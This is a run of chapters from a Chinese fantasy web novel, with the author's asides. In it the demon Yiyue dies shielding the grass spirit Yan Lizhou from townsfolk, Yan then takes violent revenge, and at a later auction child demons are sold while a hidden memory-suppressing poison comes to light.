燕黎舟点点头,转头看着倚月的背影,有些不解。 “之前除妖我能理解,他们杀死了很多人,但倚月什么都没干。为什么镇民还要杀死倚月?” 从马车上爬下来的公羊胜拍了拍手掌,然后整理了一下自己的衣着。 但下一秒被薛三钱按着让他把手伸出来,手心有些细小的擦伤。 他听到燕黎舟的话,轻哼一声。 “草精,我早就说过,人和妖怪,天生就不对付!” “你命好,遇到了我……嘶,他么的擦伤你用什么银针!” 公羊胜像是被踩到了尾巴,猛地倒吸一口气,对着薛三钱没好气道。 对方翻了个白眼:“我是大夫你是大夫!” “谁是大夫也没有用针的吧!” “我就用!”—— 作者有话说:卡卡卡卡卡卡——卡文!卡到不行,完蛋了,存稿真的不够了! 好啦,知道后面一章剧情的我什么也不说了,先跪下了![闭嘴] 看到了完结的曙光! 也感觉到了修文的痛苦。 这点修修——啧,不行,这段我感觉写的挺好的。 那再删删那里吧——啧,也很好呀。 凑在一起——shi! (bushi,对不起,给燕黎舟道歉,给洛不觉道歉!) 最后,题外话—— 今天是九·一八,勿忘国耻,铭记历史[抱抱] 第45章 晚, 倚月扶着黑金,待在临时腾出来的一间破屋里,之前的地方已经回不去了。 燕黎舟乖乖坐在一个木墩子上, 油灯的光线昏暗, 在燕黎舟线条流畅的的臂膀上晃动。 倚月站在他面前, 指尖捏着一根细长的银针。 她的动作熟练, 眉头微微蹙着, 银针精准地刺进燕黎舟身上的穴位。 燕黎舟疼的龇了龇牙,试图用说话分散注意力, 目光看向角落里草堆上睡得很沉的黑金。 压低声音:“黑金好像很害怕人类?” “嗯, ”倚月专注地盯着手里的银针,头也不抬。 “小时候他笨,就像你这么大, 刚聚灵,化形也不会。被人发现了就被木棍打,后来就一直很怕人。” 一根根银针被拔出,针身已经变得漆黑。 燕黎舟虽然知道自己体内有之前残存的毒素, 但也没想到居然能到这个地步。 看到银针时被吓了一跳。 “他们, 知道你是草精吗?” “嗯。”燕黎舟不知道为什么, 有些心虚。 倚月没有继续追问,只是用一块干净的手帕擦拭着银针,语气依旧没什么起伏。 “你体内的毒素被清理过,现在虽然只是剩下了一下部分, 但依旧随时可能复发。” “想要清理干净可能会不太实际,等离开这里,等到去到分界线外面去。” “分界线外?”燕黎舟有些疑惑,这是他第二次听见这个名字。 “姐姐。” 黑金这时候醒来, 可能是听到了“离开”两个字。 “我们什么时候走?” “天一亮。” 可就在这时—— “走水了!” “快救火!” 不知道为什么,他们这小破屋屋顶上的茅草忽的点燃,火势迅速蔓延。 有被惊醒的镇民看见火光下意识呼喊,但跑近发现是那妖怪的屋子,脚步又变得迟疑。 原本几个守在门口的镇民紧张的盯着屋内。 黑烟钻进来,燕黎舟赶紧捂住鼻子,旁边倚月同样眉头皱得死死的,她转身拉起黑金。 “姐姐。” “黑金,忍一下。” 三人冲到门边,这才发现门被人从外面死死顶住。 倚月几乎是瞬间就明白了,表情冰冷,心瞬间沉了下去。 黑金勉强撑起自己的身子,他咬了咬牙,背后展开一双黑色大翅膀,整个人彻底化成妖形态,变成了一只鹰,猛地撞上去。 “黑金!” 原本就不太结实的门被黑金撞了个粉碎,顶着门的村民被撞开,后退着摔倒在地上,然后又迅速爬起来。 屋外火光照亮了围绕着他们的人紧张惊恐又扭曲的脸! 他们手中无一例外拿着锄头和草叉。 “妖怪,妖怪出来了!”有人惊恐大喊。 巨大的黑色翅膀将倚月和燕黎舟护在身后,看到人类手中的木棍还有些微微颤抖。 黑金嘴里发出威胁性的低吼,试图逼退这些人。 倚月脸色冰寒,目光扫过那些熟悉的面孔,冷声道。 “各位容不下我们,我们即刻就离开,绝不回头。” “何须如此相逼!” “不能放他们走!不能放了他们!”一个中年男子不管不顾喊道,他说着举起了手里的叉子。 “放了他们一定会回来报复我们的!趁现在,杀了他们,永绝后患!” “对!趁着现在,杀了他们!”几个胆大的村民举起自己手里的武器。 黑金不断躲闪着,用翅膀格挡,倚月将燕黎舟护在身后,咬牙看着黑金:“黑金,别逞强!” 黑色的鹰羽被刮落,却一步不退。 突然旁边出现一道凌厉的剑气,洛不觉出现,他手里握着的秋水剑扫过,小破屋的蔓延过来的火焰一部分被这剑气冻成了冰。 薛三钱和公羊胜慢一步赶到,后者身子还有些晃,看到如此混乱的场景,眉头紧锁。 “你们干什么?!” 镇民们看着突然出现的三人,被喝退几步,一个领头的看向身后的人,不满:“怎么回事,不是说下了迷药,怎么这么快就赶过来了!” “废物!” 场面得到了控制,黑金巨大的翅膀依旧保持着戒备的姿态,哪怕洛不觉也不让靠近。 他轻轻侧身,想要查看倚月和燕黎舟的情况。 倚月微微松了口气,伸手拍了拍黑金,表示她们没事,黑金这才收起翅膀。 薛三钱快走几步上前,手上在药箱里翻找,嘴上骂骂咧咧着“被白瞟了”之类的话。 嘴里嘟嘟囔囔:“治完这个治那个,真以为我这是乐善好施来的大好人啊?” 他手摸上变成人形后的黑金的翅膀,啧了一声,转头就开始骂。 “一个两个,劲这么大就用来欺负人,很厉害吗?” 公羊胜皱眉,没说话,用脸附和。 人群里有个满脸麻子的人低着头,想到白天自己的父亲在自己眼皮子底下被黑金杀死,手指缓慢攥紧。 趁着几人不注意,猛地抬起手里的箭。 嘶哑的吼声冲破喉咙。 “他们是一伙的,仙长背叛了我们!”这人大喊一声! 有人带头,剩下人中有几个不死心的也纷纷抬手。 “小心!”公羊胜看见立刻转头看向燕黎舟,心头猛跳。 洛不觉反应极快,剑势回转,但因为距离太远还是慢了一步。 镇民们一股脑,想着只要是射出去了就好,趁乱,淬了毒的箭矢冲向黑金和倚月,虽然只有几根! 一根失了准头的毒箭,直直地朝着怔在原地的燕黎舟射过来! 噗呲! 离燕黎舟最近的倚月本能地挡在燕黎舟面前,黑色的箭几乎将她单薄的身子穿透,身体猛地一颤。 燕黎舟大脑瞬间空白,只看见红的发黑的液体从倚月身体里,顺着箭头,一滴,两滴…… 眼睁睁看着倚月纤瘦的身体晃了晃,眼睛此刻空洞地望着他,唇瓣微张,似乎想说什么,却只溢出一股浓黑的血。 燕黎舟猛地伸手接住倚月软倒下来的身子。 那根漆黑的箭矢硌在他的手臂上。 黑金瞳孔一缩:“姐!” 他疯了一样冲过去,身后还在被薛三钱包扎着的翅膀胡乱间重重撞到了公羊胜,丝毫不管。 洛不觉脸色剧变,手里的秋水剑抬起指着那放箭的人,剑气瞬间将其击飞,吐血倒地。 “妈的!” 薛三钱离得最近,反应也快,一把甩开药箱扑过来,手指迅速点了倚月周身几个大穴。 他看到那箭伤周围迅速发黑溃烂的皮肉,脸色变得极其难看。 “操!是烂肠草毒!这帮疯子从哪儿搞来的这东西!” 倚月蹙眉,自己浑身使不上力气倒在燕黎舟怀里。燕黎舟浑身无力,在接住人后就直直地跪在地上,双手颤抖。 公羊胜被撞了个踉跄,伸手摸上被撞的腰,呲牙咧嘴,腰麻的感觉死掉了。 “能救吗?”他扶着腰问。 “老子是人不是神仙!” 薛三钱嘴上骂着,手却快如闪电般掏出数个小瓶,不管不顾地将各种药粉药丸往倚月嘴里塞,又用银针飞快地刺入她心脉周围。 “毒入心脉就真他么完了!拜托拜托!” 倚月看着扑倒身边,手足无措的想要碰她却不敢碰的黑金,看着他瞬间崩溃的眼睛。 “没事。”她安慰道。 “我没事的。” 倚月嘴上这么说,但她眼睛里的神采却在迅速消散。 “等到分界线外……没事的。” 倚月轻声说,她本是不爱说话的性子,那清冷的嗓音一年到头也说不了几句长话。 可现在,她盯着黑金,声音一直在耳边重复。 “我没事。” 她抬不起来手指,只想着省点力气多看几眼,多留一会儿。 视线慢慢转动,落在了同样一脸泪痕的燕黎舟身上。 这个还没长大,还不会聚灵的草精,怎么保护得好自己? 更何况他身边……还有那么多的人类。 黑金抱着倚月软倒的身体,身后巨大的黑色翅膀垂落,将三个人包裹起来,喉咙里溢出细碎的呜咽声。 洛不觉的剑还指着镇民的方向,脸色是前所未有的阴沉,公羊胜张着嘴。 旁边薛三钱缓缓闭上眼,深吸了一口气,又睁开,眼神复杂。 燕黎舟眼前一片黑暗,身体内残留的毒素好像又复发了,心脏疼得他有些呼吸困难。 火还在烧,噼啪作响。 有了教训之后,镇民们这才不敢轻举妄动。 洛不觉上前,手稳稳扶住燕黎舟的肩膀。 黑金猛地抬起头,猩红的眼睛里充满敌意,喉咙里发出一声威胁的低吼,不允许任何人靠近。 薛三钱动作一顿,看着黑金那崩溃的模样,又看看倚月毫无生气的脸,转头对着一脸期待的公羊胜摇了摇头。 站起身,口型无声道:没救了。 “一群蠢货!”公羊胜生气没忍住骂道。 “你……”人群中有人哆嗦着发声,洛不觉皱眉看着燕黎舟,闻言转头,声音不大却带着一股骇人的压迫感。 “闭嘴!” 每一个被洛不觉看到的镇民瞬间低头,从头凉到脚,大气都不敢喘。 洛不觉站起身,一步一步走向那个正瘫在地上吐血的人,麻脸青年看见洛不觉靠近,吓得魂飞魄散。 手脚并用地往后爬:“不……不管我的事,他是妖怪,我不是!” 洛不觉在他身前站定,秋水剑垂下指着这人的喉咙。 就在剑尖即将递出的刹那,一双手抓住洛不觉的剑。 黑金单手抱着倚月,另一只手拦着剑,眼睛里一片死寂。 “我答应过不会再杀生。”他道。 “滚!” 镇民们被这一声喝醒,连滚带爬,惊慌失措地逃跑,头也不敢回。 黑金接着沉默了好长时间,最终才又转头看向燕黎舟:“你要,跟我走吗?” 燕黎舟还没反应过来,洛不觉就挡在他身前:“不能。” “你们人类不能信。” 洛不觉:“我可以。” …… 洛不觉将脱力的燕黎舟扶到一块相对干净的地方坐下。 一直没说话的燕黎舟抬头,怔怔地抬头。 “黑金和倚月呢?” “走了。” 四周安安静静,只有洛不觉和燕黎舟两个人。 “那其他人呢?” “公羊胜和薛三钱先回马车处理上了,其他人黑金赶走了。” “……” 燕黎舟感觉自己耳边嗡嗡的,半响把洛不觉的话反应过来后,嗓音变得有点哑。 “洛不觉。” “我想喝水。” “马车上,有我藏的果子。” “你能帮我拿来嘛?” “我腿没有力气了。” 洛不觉顿了一下:“好。” 一柱香后,洛不觉再回来,原地已经没有了燕黎舟的身影。 燕黎舟看着洛不觉远去的身影,缓缓弯腰,手指死死攥紧,指甲都要掐进掌心。 他面无表情站起身,周身奇异地散发出一圈绿色的光晕,神识如网状铺开。 等到洛不觉在找到燕黎舟的时候。 对方脸上,衣服上都被溅上了温热的血,但他好像毫无知觉,面无表情地站在尸堆里。 手里握着支漆黑的毒箭,衣袍也被鲜血染红大半。 燕黎舟似乎是察觉到了洛不觉的到来,缓缓,僵硬地转过身。 周身绿色的灵力狂暴,在看见洛不觉的瞬间才缓缓平息。 沾着血污的脸上没有任何表情,一双眼睛红肿得厉害,空洞无神,眼泪无声流下,只有嘴角轻轻扯了一下。 “对不起,我忘了,果子已经被我吃完了。” “我只是想出来找点水……”—— 作者有话说:自觉先跪! 然后无聊地用食指撵着拇指,把衣服的边缘卷起来又铺开,再卷起来—— 并且理直气壮:“我在忙哦,我在整理衣服,所以暂时不能抬头看你生气的样子[害羞]。” 第46章 “洛不觉。” 洛不觉上前, 拿出一块手帕擦掉燕黎舟脸上沾到的血,趁着机会,手摸上燕黎舟后脖颈。 燕黎舟感觉自己的情绪逐渐平静下来, 脑袋里面又是一片空白。 “没事。” “我带了新的衣服。” 洛不觉一把将燕黎舟打横抱起, “我们回去。” 燕黎舟在他怀里像是个没有灵魂的木偶娃娃, 任由其动作。 燕黎舟心里又空, 好似所有情绪都被吸走了, 他有些不安地抱着洛不觉的脖子。 洛不觉抱着燕黎舟的手一顿,对方埋在他脖颈里, 感受到一脸湿漉漉的, 不知道是血还是什么。 夜晚的风很凉,洛不觉的衣服沾上了味道,连带着燕黎舟整个人都如坠冰窖。 好难受, 他好像忘了什么。 谁也没开口解释这一地的尸体,也不用说,大家都明白。 所以在薛三钱看到洛不觉带着燕黎舟回来时,只是默不作声地往火堆里面又添了几根柴火, 火苗跳动, 投下的影子晃动着飘忽不定。 无言到天亮。 太阳出来的那刻, 燕黎舟终于醒了。 他把自己收拾干净,洛不觉给的是一身嫩绿色的衣袍,颜色鲜亮活泼,衬得他整个人特别的白。 “洛不觉。” 燕黎舟穿着衣服出来, 张开手把自己展现在三人视线中,歪了歪脑袋:“好看吗?” 他问出口时抬头,视线在三个人身上徘徊。 “好看。”公羊胜率先回答。 “比洛不觉还要好看吗?”燕黎舟闻言眼睛亮晶晶地盯着公羊胜。 “嗯!”公羊胜给予肯定的回答,两人似乎不顾及他们拿来比较的人也在旁边站着。 洛不觉没说话, 薛三钱站在一旁也不说话,看着两个人聊着没天没地的玩笑话。 等到差不多了,他才走过去,不容拒绝的摸上燕黎舟的手腕。 燕黎舟抬头,眼睛盯着薛三钱。 对方感受到其体内的灵力流转,没有狂暴紊乱,温温和和的。 薛三钱眯了下眸子,收回手自然地朝公羊胜旁边一坐,顺手拿起一根火柴丢进快要熄灭了的火堆,接上了先前的话头。 “自然是小燕公子更好看些,洛仙长嘛,好看是好看,就是有点冻牙。” “不像小燕公子,看着就让人心情愉悦。”他说完还抬头冲着燕黎舟笑了笑。 公羊胜斜了一眼薛三钱,不动声色往旁边挪了一个大拇指的距离。 “走吧,此间事了,不宜久留。” 洛不觉看着燕黎舟道。 公羊胜立刻附和,“对对对,这地方晦气的很,早点走好,我就烦这劳什么鬼虫子。” 他夸张地搓了搓胳膊,活跃气氛。 薛三钱跟着站起身,背起药箱。 燕黎舟安静地点了点头,乖巧地站在洛不觉身边,宽大的衣袍下,手指下意识地蜷了一下。 四人简单收拾了一下便要离开,此时阳光彻底洒满大地,走出一段距离,回头也望不见那小镇的身影。 官道蜿蜒向前,四周是荒芜的田野和枯拜的树木,秋风一吹,一片萧瑟。 燕黎舟嫩绿色的身影在荒芜的背景中十分醒目,他第一个踏上马车,洛不觉紧随其后。 四人依旧是来时的位置。 公羊胜坐在马车外,压低声音悄悄咪|咪地对薛三钱道。 “哎,燕黎舟是不是……有点太没事了,会不会有什么问题?” 薛三钱瞥了他一眼,没回答,目视前方,身上挂着的药箱因为马车颠簸轻轻晃动。 …… “回京?” 薛三钱看了眼洛不觉,双手枕在脑袋后面,不发表意见,旁边公羊胜倒是一惊一乍的。 “回云京吗?天上白云京!” “怎么?你也想去?”薛三钱戏谑地偏头看向公羊胜,问道。 燕黎舟把玩着手腕上的晋绳,一言不发。 洛不觉正在帮燕黎舟束发,两人谁也没理会谁。 “我是十二楼兰的人啊,我肯定是要回去看看的。” 公羊胜说的一本正经,他板着脸扭头看着薛三钱:“那我们只能分开了。” 薛三钱顿了一下,低头偷笑,然后拍了拍自己的药箱。 他吐槽:“我一个江湖名医,肯定是要回去拿回我的报酬。让你们白瞟了我们这么久,一分钱没有。” 最后瞥了一眼公羊胜:“别带你那破面具了,看一眼我都嫌折寿。” 燕黎舟也没意见,这几人说了什么其实他没听太清,只感觉自己身体里面有什么东西在横冲直撞。 “可以吗?”看着洛不觉侧头问自己,他下意识地点了下头。 “可以。” 四人就这样分道扬镳,公羊胜最后看了眼燕黎舟。 他难得收起了那副嬉皮笑脸的样子,抓了抓头发,对燕黎舟道。 “燕黎舟,你有空就来十二楼兰看看?我们那儿虽然比不上白云京风景好,但也不差。” 旁边的薛三钱嘲讽着拆穿。 “少套近乎。你们十二楼兰那群老古董,请我看病规矩还比天还大,诊金还抠搜,差很多,别硬给自己贴金。” “……”公羊胜咬牙微笑。 人走后,燕黎舟待在马车里,趴在窗户口看向窗外。 余光瞥到一旁的秋水剑。 “洛不觉,那块乌铁呢?” 洛不觉顺着话从储物袋里把乌铁拿出来,漆黑的金属安静的待在洛不觉的手心。 “你要把他做个啥?” 洛不觉交给燕黎舟:“扇子。” 燕黎舟接过那块冰凉的乌铁,在掌心掂了掂,漆黑的金属在透过车窗的阳光下,是一种厚重的质感。 他歪着头,指尖无意识地摩挲着乌铁粗糙的表面。 “扇子?”燕黎舟重复了一遍,眼神微微聚焦,似乎有了兴趣。 “什么样的扇子?” “护身的。” 洛不觉言简意赅,目光落在燕黎舟把玩乌铁的手指上。 “此铁性寒,能吸纳部分灵力冲击,可承载符文。制成扇骨,再寻合适扇面,于你防身有益。” 洛不觉考虑的是燕黎舟如今刚学会聚灵,状态不稳,有件趁手且能随心意控制的法器会好很多。 这明明是燕黎舟为了洛不觉寻的,最后居然要拿来给他做武器。 燕黎舟眨了眨眼,忽然将乌铁举到眼前,对着光仔细看,仿佛能从那一片漆黑中看出花来。 “好啊。”他答应得轻快,嘴角甚至弯起一个细微的弧度,“那我要在上面刻点东西。” “刻什么?” “嗯……刻点小草,刻朵小花?” 燕黎舟像是随口说着,又恢复了那副没心没肺的样子,笑眯眯地看向洛不觉。 “好不好?” 洛不觉看着燕黎舟的模样,心口微涩,面上却依旧平静。 “依你。” 马车驶离城镇,秋意渐浓,路边的草木有些精神不靡,风卷起落叶,打着旋儿扑在车壁上。 只能听见车轮滚动的声音和窗外呼啸而过的风声。 燕黎舟依旧靠着车窗,手里握着那块乌铁,指尖无意识地在上面划来划去,目光投向窗外不断后退的景象,眸子没有焦点。 洛不觉闭目养神,但灵识始终分出一缕,萦绕在燕黎舟周身。 燕黎舟感知到也没反对,聚灵后他五感都灵活了不少。 行至傍晚,前方出现一个规模不小的城镇。 城门口车马络绎不绝,更有不少衣着光鲜,带着护卫的修士或富商模样的人涌入。 马车速度慢了下来。 这里是边境重镇,东贤西城。 此城规模算大,商旅往来频繁,算是这荒僻地界难得的繁华之地。 车夫在城门口排队等候入城时,几个年轻人正兴奋地交谈着。 甲一:“听说了吗?今晚城安水阁又开始秋拍了,据说压轴的是件了不得的宝贝!” 旁边的乙二接话:“城安水阁?他们家的拍卖会向来有好东西,上次那一批……啧啧啧。” 丙三一脸神秘::“哎,我叔父是商会管事,透露说那一批里面会挑出来两个拍卖,不过好像还有一块谁都不认识的石头,坚硬的离谱。” 丁四好奇插话:“有什么用?” 丙三摇了摇头。 “不知道啊,所以才拿出来拍嘛,说不定能开出来什么宝贝呢?去看看呗,饱个眼福呢……” 车厢内,燕黎舟闻言指尖微微一顿,他并没有抬头,长长的睫毛颤动了一下。 “累了?” 洛不觉忽然开口问,“在此休整一夜。” 他并未征询燕黎舟的意见,更像是直接做出了决定。 燕黎舟闻言,缓缓抬起头,看向洛不觉。 他的眼神依旧有些空茫,像是蒙着一层薄雾,他没有问为什么突然要休息,只是轻轻“嗯”了一声,又低下头去。 两人在城中寻了家上好的客栈住下。 晚膳时。 “今晚的拍卖会,要去看看吗?” 燕黎舟正小口喝着汤,闻言动作停住,他沉默了一会儿,才低声道。 “拍卖会?人多吗?” “应该有独立包厢。”洛不觉回答。 燕黎舟思考了半会儿,那些人口中的那什么石头,应该是什么厉害的东西。 “好。” 他说完,抬头看向洛不觉:“我是不是让你感觉到麻烦了。” 洛不觉给燕黎舟又盛了碗汤,将汤碗轻轻放到他面前,语气平淡却肯定:“不会。” 戌时将至,两人来到了城安水阁,阁前更是车水马龙,灵光宝气四溢。 洛不觉与燕黎舟一前一后走入阁中。洛不觉一身白衣,气质清冷,即便收敛了气息,也依旧引人侧目。 燕黎舟在他身前半步的位置,手里揣着个扇子,时不时就展开扇一扇,一身粉绿色,头上一个简单的饰品把头发松松束着,视线冷淡地扫过四周。 像是特意端着,燕黎舟脸绷得紧紧的,看着比身后那位还要冷。 洛不觉出示令牌,两人被引至二楼一间包厢。 这里能将楼下拍卖台和大部分坐席尽收眼底,却又很好地保障了隐私。 包厢内清静雅致,隔音很好。 燕黎舟随便选了个位置,洛不觉在他身旁坐下,并未多言,只是将一碟点心往燕黎舟那边推近了些—— 作者有话说:因为下一章要继续跪着,所以这章我就不起来了[可怜] [抱抱][抱抱][抱抱] 我们是世界上第一好对不对(偷偷揉膝盖并且试图打打亲情牌[害羞]) 第47章 燕黎舟好奇地趴在窗台向下望。 台下坐满了形形色|色的人, 交头接耳,气氛热烈。 看着楼下那一堆神色各异的脸,燕黎舟撇撇嘴, 很快就失去了兴趣, 转而打量起包厢内的摆设。 拍卖很快开始, 主持拍卖的是一位声音甜脆的紫衣女修。 一件件珍品被捧上高台, 引得台下竞价声此起彼伏。 有各种各样的攻击法器, 有能瞬间恢复灵力的极品丹药,有记载着失传功法的玉简…… 气氛一次次被推向高|潮。 燕黎舟起初还看着, 后来便有些心不在焉。 就在拍卖师宣布即将请上最后一件压轴拍品时, 台下众人翘首以盼。 然而,拍卖师却话锋一转,脸上带着神秘的笑容。 “诸位贵宾稍安勿躁, 压轴之物必将不负所望。但在请出压轴宝之前,容我先为各位带来一件本次拍卖会临时增加的神秘赠品——” 台下响起一阵轻微的骚动。 “此物来历不明,功效不详。” 拍卖师继续道,两名侍者吃力地抬上来一个托盘, 上面放着一块巴掌大小形状极不规则的石头, 看上去毫不起眼, 甚至有些丑陋。 “但是我南安水阁三位鉴宝大师联手,亦无法损其分毫。” “也仅能感知其内可能蕴藏着一股神秘古老的气息。” “或许内藏乾坤,是无价之宝;或许……便只是一块异常坚硬的铁块。今日权当添个彩头!” “买定离手!起拍价,五百上品灵石, 全凭各位眼缘!” 这东西一出来,台下顿时嘘声一片。 谁会对这么一块看起来像是从哪个废墟里捡来的破铁感兴趣? 不过竞价声还是接连响起,都存着“不是好东西也不会拿来拍卖”的捡漏心理。 “六百!” “七百!” “八百五!” 直到价格攀升到一千二百上品灵石时,竞价声才渐稀, 燕黎舟正看热闹呢,对面包厢传来声音。 “一千五!” 声音透过传音法阵清晰地响彻全场,带着一种不容置疑的气势。 顿时让不少有意竞争者偃旗息鼓。 燕黎舟歪了歪脑袋,听着这熟悉的声音,和洛不觉对视一眼,又趴下。 “要去打个招呼吗?” 燕黎舟侧头问身边的洛不觉,对方抿了口茶,目光缓缓落到他的身上。 “你想吗?” 燕黎舟脑袋压着的胳膊有些麻,耳朵也有点,他转过头继续盯着台下,一只手抽出来揉了揉耳朵。 没说话。 台下众人议论纷纷。 一千五上品灵石,就为了这么一块破石头? 有人心怀不轨,也跟着出价,想着既然有人愿意用一千五上品灵石,就说明这块破石头值这个价。 “两千!” 一个略显尖锐的声音突然从燕黎舟他们旁边的另一个包厢响起,带着几分挑衅。 众人又是一愣,居然还有傻子? “两千六。” 对面包厢的人声音依旧平稳。 “三千!” 旁边包厢立刻加价,仿佛故意抬杠般。 燕黎舟一脸看好戏的表情,洛不觉在一旁一脸的不感兴趣。 “四千!姓采的,你跟我较劲,老娘别的没有,就是有钱!” 对面包厢的帘子拉开,一个浑身热热闹闹的小姑娘脚踩着窗台,满头的金银首饰随着她的动作乱晃。 圆圆的小脸看着非常可爱,身后的桌子上,一个粉黄|色的衣裳的姑娘安静抿茶,另一个座位上坐着…… 谢灯。 燕黎舟在看见谢灯的第一眼眯了下眼睛,思考着自从上次秘境一别,真就没再见了,虽说是男主,但他俩遇见的次数真的是屈指可数。 反倒是男主的这个金手指成他的了。 燕黎舟一转头,和某个金手指对视了个正着,燕黎舟没有丝毫心虚地又挪开。 看他干嘛?他昨天的衣服也很好看啊。 确实如女孩所言,最终,这块石头被用一万块上品灵石天价成交。 谢灯包厢的纱帘又被放下。 经过此番波折,拍卖会继续,终于到了万众瞩目的压轴环节。 台上拍卖师的笑容更加神秘。 “接下来,便是本次拍卖会的压轴——想必各位贵宾都已期待已久! 台下众人屏气凝神,燕黎舟见此也好奇起来着最后压轴的到底是个什么东西,好奇地看向台下。 看到侍者推上来一个用黑布笼罩着的笼子时,燕黎舟愣了愣。 台下却开始欢呼! 拍卖师朝着众人比了个噤声的手指,接下来笑着在众人狂热的目光中揭开黑布。 笼子里,是两个看上去只有七八岁大的孩童,一男一女,粉雕玉琢的,容貌精致地不像凡人。 此刻两个小小一团缩在笼子角落里,沈还是那个穿着单薄的衣服,小脸苍白,大大的眼睛一脸怨恨地盯着外面打量着他们都人类。 他们脖子上还带着能抑制妖力的项圈。 与此同时,对面包厢的谢灯一行人竟是直接离开了,仿佛对此没有丝毫兴趣。 “诸位!” 拍卖师的声音同样带着兴奋:“压轴珍品,这是一对已经聚灵了的雪参和玉芝童妖,乃是炼丹秘药的绝佳炉鼎。” “起拍价——十万上品灵石。” 台下瞬间炸开了锅,竟然是刚刚聚灵了的妖怪! 包厢内,燕黎舟脸上的血色瞬间褪了个干净,他看着笼子里的那两个小孩。 两个小妖缩在笼子一角,恶狠狠地对着外面龇牙咧嘴,燕黎舟眼前忽的闪过无数画面。 …… “魔鬼!他是魔鬼!” 无数人在跑,身上手上全是黏腻恶心的红色液体,滴滴答答。 洛不觉也是,别人都在跑,就他冲过来,然后被一掌捅了个对穿。 ……这是什么噩梦? 脑海隐隐约约有什么东西要把他整个剥开皮来。 燕黎舟倒是宁愿被剥皮抽筋来。 难受,好难受,好像没有办法呼吸了。 眼眶里面,泪水控制不住,眼前变得模糊不清。 难受……洛不觉…… 燕黎舟伸手抓住一步迈到他面前的洛不觉,另一只手抓着自己心口,手背上青筋都因为用力暴起来。 一双明明还带着笑的眼睛此刻蓄满了泪,像是珍珠般一颗接着一颗,砸在洛不觉手背上。 “我难受……你救救我。” 洛不觉皱眉,手指迅速搭上燕黎舟的脉搏,后者趁机整个人都钻进洛不觉的怀里。 城外竹林里的蛊娘子也是这时收到讯息。 她皱着眉看着面前的符纸,切了一声,眼神逐渐冷下来,肩上蹲着的八条腿的蜘蛛大气不敢出。 “废物。” 洛不觉伸手,灵力不断输入燕黎舟的体内,稳住燕黎舟体内蛊娘子的蛊毒。 怀里这个人不断地咳嗽,像是要将五脏六腑咳出来,鲜血在洛不觉背后的衣服上,湿了一片。 “洛不觉……” 燕黎舟整个人感觉都要散架掉,整个人靠着洛不觉支撑。 “我是不是……忘记了什么?” 燕黎舟一阵恍惚,只觉得头疼,大脑里面一片空白。 靠在洛不觉肩上,一双琥珀色的眼睛此刻空空荡荡,提线木偶地操控着自己说出这句话。 “我好痛。” 洛不觉抱着燕黎舟,跪在地上,白色的衣服上沾上了血红,却不管不顾。 他感受到怀里人的颤抖,睫毛垂下,将燕黎舟抱得死死的。 “燕黎舟!” 洛不觉伸手抽出燕黎舟腰上的短刀,为了方便对方,在自己脖颈划了一道,血液混合着灵力,被喂进燕黎舟嘴里。 包厢内血腥味渐浓,将两个人包围得死死的。 蛊娘子来时就看见得这么一幕,差点气的把自己手里的小青掐死。 “啧!” 她伸手扒拉洛不觉,没扒拉动,咬着牙从口袋里又拿出来一颗丹药丸给燕黎舟喂下去,燕黎舟惨白的脸这才缓缓恢复红润。 洛不觉拽着燕黎舟,哪怕看到人已经安稳下去了。 蛊娘子咬牙:“我只会下蛊,不会治人,你要是失血死了。” “洛大仙长,那我真的要高兴死了。” 洛不觉缓了缓,这才伸手松开,燕黎舟整个人安安静静的,好在包厢里有能够休息的榻。 洛不觉将人抱上去,蛊娘子冷冷地看着自己阿哥。 “洛不觉,你要是保护不好阿哥。” “就还给我。” 洛不觉没说话,蛊娘子一点点开口:“之前是顾及阿哥离魂七日,我打不过你,抢不过来他的身体。” “那日迫不得已下蛊让阿哥忘记了不好的事情,可短短几日,蛊毒发作频率这么急。” 蛊娘子冷哼。 “天上白云京洛不觉,不过如此。” 洛不觉没反驳,他看着台外,拍卖声一声接着一声,金额已经达到了惊人的一千五百万上品灵石,甚至还在叠加。 “这两个小妖。” 洛不觉冷声开口:“两千万,我要了!” 他的声音混着灵力,没依靠传声阵却响在每个人心头。 燕黎舟意识模糊,听着洛不觉的声音,内心诡异的平静。 什么……什么蛊毒? 谁给谁下蛊? 听着蛊娘子的话,燕黎舟头痛欲裂,可脸上却一个表情也做不出来,麻木地像个木偶。 他果然忘记了什么吗? 是什么? 牙齿咬破舌尖,燕黎舟强行让自己浑沌的意识清醒,努力去听蛊娘子和洛不觉的话。 越听内心却越平静。 手腕上的晋绳似乎是感受到了自己主人的情绪,缓慢爬上燕黎舟的脖子,松松地环了一圈。 “我……渴。” 声音出来的瞬间,落不觉和蛊娘子瞬间回头,洛不觉先一步倒了杯水递给燕黎舟。 扶着人,慢慢地坐起来。 燕黎舟顺着洛不觉的劲,一小口一小口,张张嘴巴就好像耗尽了自己的力气。 他抬手,手指抓住洛不觉的手腕,下巴一扬。 刚被茶水润过的嘴巴擦过对方的脸,下巴上还沾着洛不觉的血。 蛊娘子见状咬牙,站在一旁攥紧了手腕,深呼吸几下,对着洛不觉翻白眼,最终往旁边扭头不愿去看。 洛不觉一瞬间猛地睁大眼睛,微凉的触感,鼻尖全是燕黎舟的气息,耳边好似有一瞬间的耳鸣。 燕黎舟把人拉到自己面前,凑到洛不觉耳边,轻轻喘息几声,做完这个动作就像是耗尽了全部的力气,黑长的睫毛颤了颤,几秒后恢复了点力气才睁开。 “洛不觉……” “让我记起来。”—— 作者有话说:扑通一声先跪下! 并拢膝盖,双手乖乖放在膝盖上,掏出小手帕擦擦并不存在的眼泪(?) 虽然发了刀,但我保证只一点点(燕黎舟的短刀那么短)(滚来滚去求原谅![害羞]) 题外话: 我的笔力似乎不足以支撑我写很爆炸的情绪[爆哭] 写完再读很深刻地意识到这一点,一直在质问自己是不是可以过渡得再自然点,总觉得不是很好但又无从下手去修改[托腮] 等到本书完结,我会努力提升一下自己的写作,然后对一些部分再作修改! 感谢还看到现在的宝贝 受之有愧,希望你们喜欢[抱抱] 晚安! 第48章 洛不觉的呼吸轻滞, 怀里的人仰着脸,眸光因虚弱那双琥珀色的眼睛里蒙着一层雾。 燕黎舟那句“让我记起来”轻的像是羽毛,又重重砸在洛不觉的心口。 一旁的蛊娘子猛地扭过头, 急声道:“阿哥, 你身体已经崩溃了, 承受不住……” 洛不觉收紧手臂, 将人更深地拥进怀里, 垂首贴近燕黎舟颈侧,冰冷的唇擦着燕黎舟的脖子, 缓缓地呼吸。 “好。”他的声音低沉, “但现在太虚弱了,神魂会有损。” “等养好了身子,好吗。” 燕黎舟想要反驳, 嘴唇动了动,最终也只是无力地闭上眼睛。 